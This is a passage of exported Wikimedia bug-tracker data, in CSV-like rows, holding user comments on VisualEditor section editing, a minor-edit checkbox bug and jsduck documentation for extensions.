+It does do so (in its own way). If you click a section-edit link, it currently enters VE edit-mode, and scrolls down to the section you clicked on, and places the cursor at the beginning of the section-header.",,,1371313187,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+223090,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"I read the discussion, and it seems nobody mentioned what i think is the ""real"" bug here: we have the ""edit source"" link, that drops you back to wikitext editor. The correct behavior for ve should obviously be to drop you to a section edit if the hser entered edit state through an edit section link. 
+
+Peace.",,,1371301719,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,0,0,0,0
+223087,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #17)
+> (In reply to comment #16)
+> > Matthew. You are incorrect. There has been a recent change. 
+> 
+> You're right that the section editing default has changed for people who
+> opted
+> in to VE.
+> 
+> However, if you've never changed any editing preferences (most registered
+> users), you are still using the old editor by default.  That will change,
+> assuming the random test works well and VE continues to improve.
+
+I think Timeshifter means the ""which will soon be all users"" part, and I agree that it would be very unfortunate. Quiddity's solution seems like the best one, and IMO should be implemented before the A/B test on en.wp.",,,1371288142,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,True,,,-3,,1,0,1,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,1,1,1,1,1,1,1,1,0,1,0,0,1,1,0,1,0,0,1,1,1,0,1,1,0,0,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+223083,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"I commented at http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Now_unable_to_edit_sections_by_old_method
+that it would be ideal to have section-edit links for [edit] and [edit source].
+
+ ie.
+Sandbox [edit]
+ replaced with:
+Sandbox [edit] [edit source]
+
+I believe this would prevent a LOT of complaints in the short term, and it would permit a lot of us to continue being active beta testers (section-editing is my most frequent type of edit), that it should be High priority, if at all possible. Thanks.",,,1371264453,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,False,,,-3,,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,0,0,1,1
+223079,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #16)
+> Matthew. You are incorrect. There has been a recent change. 
+
+You're right that the section editing default has changed for people who opted in to VE.
+
+However, if you've never changed any editing preferences (most registered users), you are still using the old editor by default.  That will change, assuming the random test works well and VE continues to improve.",,,1371259513,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,True,,,-3,,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+223074,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Matthew. You are incorrect. There has been a recent change. 
+Please read comment 13 by James Forrester above. Here is the relevant part: 
+
+""as of today, we have switched over to the 'beta' behaviour for VisualEditor in a number of regards, including section edit links - i.e., default behaviour for users with VisualEditor (which will soon be all users) is that section edit links will take you into VisualEditor, scrolled to that section, with the cursor at the start of it.""",,,1371257851,,PHID-USER-ebwxbdwkoxprr4cvvjvy,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,False,,,-3,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+223068,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #14)
+> Many registered editors don't edit enough to know much about preferences. 
+> ...
+
+Editors who haven't changed their preferences are still using the wikitext editor.
+
+> Worst of all, what was once an interesting option has now become an imposed
+> encumbrance. There is no way to edit in source mode now without effort.
+> Registered editors are forced to use VE. They can only opt-out of VE section
+> editing. They must go here: 
+> [[Special:Preferences#mw-prefsection-editing]]
+> 
+> Please return section editing of source wikitext as the default. Make this VE
+> section editing gimmick the option in preferences. Make it opt-in, not
+> opt-out. 
+
+It is opt-in.  So far, the defaults have not changed in any way.  You can sign up for a temporary test account and see for yourself.
+
+If you don't change any preferences, editing remains wikitext only.  And you can change back (and forth) at any time.  That means the defaults are not being imposed on anyone.
+
+I understand your point.  VisualEditor is a work in progress.  However, it's a work in progress that's currently 100% opt-in, and James has already said he will consider two section edit links.",,,1371256729,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,True,,,-3,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,1
+223061,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Many registered editors don't edit enough to know much about preferences. This is a bad idea. There are already many complaints here: 
+[[Wikipedia:VisualEditor/Feedback]]
+
+This could cause many editors, who already do not edit much, to edit less because their edits get reverted soon after using Visual Editor. VE messes up many things. I have seen it myself, and so I do not use VE. I have to check a WHOLE-PAGE preview diff for errors it inserts before I save some other minor thing I edited. Minor typos and other things that used to take me a few seconds to fix now take a long time with the Visual Editor. 
+
+Visual Editor needs to edit SECTIONS, too. Not the whole page. So this fix is not a fix. Visual Editor still does not support section editing. It still only edits the whole page. 
+
+Worst of all, what was once an interesting option has now become an imposed encumbrance. There is no way to edit in source mode now without effort. Registered editors are forced to use VE. They can only opt-out of VE section editing. They must go here: 
+[[Special:Preferences#mw-prefsection-editing]]
+
+Please return section editing of source wikitext as the default. Make this VE section editing gimmick the option in preferences. Make it opt-in, not opt-out. 
+
+The WMF does not have anywhere near a consensus or approval or any other type of community process sanction that justifies imposing beta VE. Especially when it is as buggy and beta as it is now. VE was actually an interesting option until this latest forced imposition of beta VE.",,,1371255945,,PHID-USER-ebwxbdwkoxprr4cvvjvy,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,False,,,-3,,1,0,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,1,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1
+223053,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #12)
+> OK. Now that I finally get it, and see that everyone (logged in or not)
+> currently gets source editing of sections, let us not remove section editing
+> of source wikitext when VisualEditor is fully implemented! That would make many
+> editors very unhappy.
+
+Just to update on this point: as of today, we have switched over to the 'beta' behaviour for VisualEditor in a number of regards, including section edit links - i.e., default behaviour for users with VisualEditor (which will soon be all users) is that section edit links will take you into VisualEditor, scrolled to that section, with the cursor at the start of it.
+
+For the mean time (until VisualEditor is out of beta, when it will be much less likely that users will want to use wikitext editor often), there's a user preference (defaulted to off) that will redirect these section edit links back to the wikitext editor; this is in Special:Preferences > Editing > Beta features.
+
+I'm open to seeing if there's a way of giving people two section edit links without being confusing in the medium/long term, but that's a discussion for later. :-)",,,1371180404,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,True,,,-3,,1,1,1,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,1,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+223048,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"OK. Now that I finally get it, and see that everyone (logged in or not) currently gets source editing of sections, let us not remove section editing of source wikitext when VisualEditor is fully implemented! That would make many editors  very unhappy. 
+
+I sometimes like to open up a section in a new tab for editing. So I can switch between tabs to alternate between how the section currently looks, and how my preview looks. This also helps me in finding stuff in the wikitext. I can use browser find in both tabs to help me find where I need to edit. 
+
+This can be very necessary when editing references, tables, navigation boxes, image captions, and other such wikitext. Images that are right-floating, for example, can be difficult to find in the wikitext otherwise.",,,1371076044,,PHID-USER-ebwxbdwkoxprr4cvvjvy,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,False,,,-3,,1,1,1,1,1,1,1,0,0,0,1,0,1,0,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+223045,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #10)
+> OK. I see that section editing is currently enabled for anonymous users too
+> on Wikipedia. I am almost always logged in, and so I must have been confused by
+> the preference ""Enable section editing via [edit] links"".
+
+That is in fact the preference, but it's checked by default (as well as always on for anons).",,,1371073574,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1
+223042,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"OK. I see that section editing is currently enabled for anonymous users too on Wikipedia. I am almost always logged in, and so I must have been confused by the preference ""Enable section editing via [edit] links"". I see now that it is about the URLs. See 
+[[Help:Section#Section_editing]].
+
+I would hate to lose section editing of source wikitext if VisualEditor is enabled for section editing. That would be a serious step backwards for the reasons I and others have discussed.",,,1371073277,,PHID-USER-ebwxbdwkoxprr4cvvjvy,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+223039,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #8)A section
+> preview is much faster. I have been editing Wikipedia since 2005, and at one
+> point I had forgotten that section editing is not a given for all editors. We
+> are wasting a lot of editors time by not enabling it by default.
+
+Wikitext section editing is enabled by default.",,,1371073015,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,True,,,-3,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,1
+223036,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"See discussion here:
+[[Wikipedia:VisualEditor/Feedback]] and go to the section titled ""VisualEditor not enabled for section editing"". That talk section will end up in the archives eventually. Do an archive search then. 
+
+Load time will still be an important factor with VisualEditor. That reason alone justifies continuing with section editing. 
+
+If VisualEditor is enabled for section editing, then it will also be necessary to enable ""edit source"" somehow for sections too. So people can choose between the two. Just like at the top of page. If the developers are worried about cluttering up each section with both ""edit"" and ""edit source"" links, then there needs to be some icon next to ""edit"" that will be the link for ""edit source"". The clickable icon will have a popup tooltip saying ""edit source"".
+
+I use section editing for almost all my editing, whether in short or long articles. Do you have section editing enabled? If not, you might try it. It speeds up editing immensely for me, and many others. See: 
+[[Special:Preferences#mw-prefsection-editing]] and ""Enable section editing via [edit] links"". It would be better if it were enabled by default for all editors, whether logged in, or not. 
+
+Many people will still use wikitext source editing. There will long be a need until every single bug is fixed in VisualEditor. I can tell you this from years of experience with the Wikia visual editor. Many, if not most, regular editors on Wikia avoid it due to its continuing bugginess. 
+
+When using source editing I don't know why anybody would want to wade through paragraphs of irrelevant stuff to get to the paragraph and section one is interested in editing. Especially if you make multiple edits, and use multiple previews. Why wait long periods of time for full-page previews? A section preview is much faster. I have been editing Wikipedia since 2005, and at one point I had forgotten that section editing is not a given for all editors. We are wasting a lot of editors time by not enabling it by default. Since there are fewer and fewer editors we need to make their editing more and more efficient.
+
+Anonymous editors do much of the editing on Wikipedia, and many will prefer to edit the source wikitext for all the reasons previously discussed. Many anonymous editors are experienced Wikipedia editors, and will not tolerate having to only use VisualEditor. So never get rid of the option for source editing. Let me repeat: WIKIA, WIKIA, WIKIA. Bugs are seemingly never-ending and ever-growing with visual editors.",,,1371065466,,PHID-USER-ebwxbdwkoxprr4cvvjvy,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,2,False,,,-3,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+223034,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #6)
+> One of the things I'm pondering is if we should relabel the edit section
+> links to have two links, one to VE and the other to wikitext. Possibly ""[_edit_
+> _*_]"" or somesuch.
+
+I think that might be too much clutter when VE rolls out to everyone.  But while it's opt-in, it will definitely encourage me to test it, since I use the edit section link a lot.",,,1369114201,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,1,True,,,-6,,1,1,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+223032,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #5)
+> Err, whoops. Sorry, yeah, completely missed that paragraph.
+
+:-)
+
+> If the default editor behavior is a switch that controls parts of the
+> interface like this (I didn't realize that), is this testable now anywhere?
+> A Labs wiki or something?
+
+No; we should do that.
+
+One of the things I'm pondering is if we should relabel the edit section links to have two links, one to VE and the other to wikitext. Possibly ""[_edit_ _*_]"" or somesuch.",,,1368980861,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,1,True,,,-7,,0,1,1,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+223030,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #4)
+> I mentioned it too, you know :-) - see:
+> 
+> (In reply to comment #2)
+> | The behaviour in VisualEditor when running as the default editor is for the
+> | edit section links to take you into VE for the entire page, with the view
+> | moved down to the anchor of that section (note, this is not how it appears
+> | right now on the various Wikipedias, but will be once they have the 'beta'
+> | enabled).
+
+Err, whoops. Sorry, yeah, completely missed that paragraph.
+
+If the default editor behavior is a switch that controls parts of the interface like this (I didn't realize that), is this testable now anywhere? A Labs wiki or something?",,,1368848488,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,1,False,,,-7,,0,1,1,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+223026,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #3)
+> Krinkle briefly mentioned an idea where section edit links might load the
+> full VisualEditor form and then jump down to the specific section. This might
+> be an approach to consider.
+
+I mentioned it too, you know :-) - see:
+
+(In reply to comment #2)
+| The behaviour in VisualEditor when running as the default editor is for the
+| edit section links to take you into VE for the entire page, with the view
+| moved down to the anchor of that section (note, this is not how it appears
+| right now on the various Wikipedias, but will be once they have the 'beta'
+| enabled).",,,1368825534,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+223020,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"There must be a recognition that editing large articles is burdensome and that section editing has (had) _enormous_ value.
+
+Even with JavaScript disabled, the parser continues to take a significant amount of time to parse a large article. And while modern browsers on modern hardware don't have as many issues, rendering large articles can also be taxing.
+
+VisualEditor adds to this burden by piling on a lot of JavaScript. The idea that wanting to edit only a section of [[GE]] or [[Iraq War]] stems from wanting to skip past confusing wikitext or avoid edit conflicts misses the point, I think. Though I realize that VisualEditor uproots many principles of the current editing workflow/paradigm.
+
+Krinkle briefly mentioned an idea where section edit links might load the full VisualEditor form and then jump down to the specific section. This might be an approach to consider.",,,1368825331,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,1,False,,,-7,,1,0,0,0,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+223014,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #0)
+> I don't seem to be able to section edit with VisualEditor.
+
+There are three issues here:
+* To edit a section, we would need to get its HTML from Parsoid - but a section isn't guaranteed to be balanced HTML, for example (commonly-used):
+
+{|
+! Foo !! Bar
+|-
+=== Section 1 ===
+|-
+| Foo || bar
+=== Section 2 ===
+|-
+| Foo || bar
+|}
+
+Coming up with a solution to this is would be a significant piece of engineering effort for marginal utility.
+
+* The reasons we brought in section-editing originally were two-fold - to skip past confusing wikitext in other areas to find the item you actually wanted to edit (not an issue in the context of VisualEditor), and to avoid edit conflicts using the page-based diffs at the time (not an issue for ~ 7 years since Tim re-wrote the diff tool).
+
+* Editing by section blocks users from editing other areas at the same time that the notice flaws in after they've entered editing, for very limited added-value.
+
+
+The behaviour in VisualEditor when running as the default editor is for the edit section links to take you into VE for the entire page, with the view moved down to the anchor of that section (note, this is not how it appears right now on the various Wikipedias, but will be once they have the 'beta' enabled).
+
+I'm not convinced that this is a WONTFIX, but I'm similarly not convinced that we should spend our time fixing this rather than, say, making VisualEditor and Parsoid work on Wikisource, or other things we could be doing with our limited resources.",,,1368814282,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,1,True,,,-7,,0,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,0,0,1,1,1,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+223007,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Thoughts:
+
+It strikes me that this might not be overly difficult - if VE is just using H<n> elements to represent sections anyway, then it should be relatively simple to change the edit URL to ""javascript:"", and add some JavaScript events to them that call the VE setup and, once it's done, brings the specified section to the top of the user's screen.
+
+I won't mark this as easy, because I don't think it is. I wish we had an ""intermediate"" keyword.",,,1368812060,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,1,True,,,-7,,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+50347,"VisualEditor: ""This is a minor edit"" is not auto checked in save dialog if the ""minordefault"" preference is on","How to reproduce:
+
+1. Enable the ""Mark all edits minor by default"" option in the preferences.
+2. Edit a page in the VisualEditor.
+3. Press ""Review and save"", then ""Looks good to me"".
+4. The edit summary entering bubble appears.
+
+Observed:
+
+* The ""This is a minor edit"" box is not checked.
+
+Expected:
+
+* The ""This is a minor edit"" box is checked.
+
+Comment: The saved revision IS correctly marked as minor. It's just the check box that appears incorrectly.
+
+GWT scenario for Cucumber:
+Given that I am editing an article while the minordefault preference is on
+When I am saving the article
+Then the ""This is a minor edit"" box is checked
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1368250560,1368638598.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-lxnhaohtjgjw5zamlish,task_description,resolved,True,c1,1,False,False,True,-8,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,1,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+218207,"VisualEditor: ""This is a minor edit"" is not auto checked in save dialog if the ""minordefault"" preference is on",Merged into master; will go out with wmf5.,,,1368638598,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lxnhaohtjgjw5zamlish,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+218202,"VisualEditor: ""This is a minor edit"" is not auto checked in save dialog if the ""minordefault"" preference is on",Related URL: https://gerrit.wikimedia.org/r/63844 (Gerrit Change Ib5cdcb9433be5ff7b9179d3833f42e5c3453285a),,,1368621284,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lxnhaohtjgjw5zamlish,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+218198,"VisualEditor: ""This is a minor edit"" is not auto checked in save dialog if the ""minordefault"" preference is on","(In reply to comment #1)
+> You know, if minoredit preference was killed, this wouldn't be an issue...
+
+I couldn't agree more :)",,,1368250904,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-lxnhaohtjgjw5zamlish,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,1,0,1
+218194,"VisualEditor: ""This is a minor edit"" is not auto checked in save dialog if the ""minordefault"" preference is on","You know, if minoredit preference was killed, this wouldn't be an issue...",,,1368250852,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-lxnhaohtjgjw5zamlish,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0
+50337,Allow extensions to automatically generate jsduck documentation on doc.wikimedia.org,"Core now has jsduck documentation on https://doc.wikimedia.org/mediawiki-core/master/js/ .  It would be useful to provide a standardized mechanism for extensions to have their jsduck documentation automatically added under doc.wikimedia.org as well.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=48244",Low,25.0,1368220260,1394685438.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-cci6rbbarnfeumyquutn,task_description,resolved,True,c1,1,True,False,False,-8,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+217656,Allow extensions to automatically generate jsduck documentation on doc.wikimedia.org,"Marking this fixed.  The general functionality is there.  For GuidedTour specifically, https://gerrit.wikimedia.org/r/#/c/118428/ and https://gerrit.wikimedia.org/r/#/c/118426/ are in progress.",,,1394685438,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-cci6rbbarnfeumyquutn,task_subcomment,,True,c1,3,True,,,36,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+217652,Allow extensions to automatically generate jsduck documentation on doc.wikimedia.org,"It looks like VisualEditor and MultimediaViewer are both doing so now.  i don't know if they're one-offs or there's a general process.
+
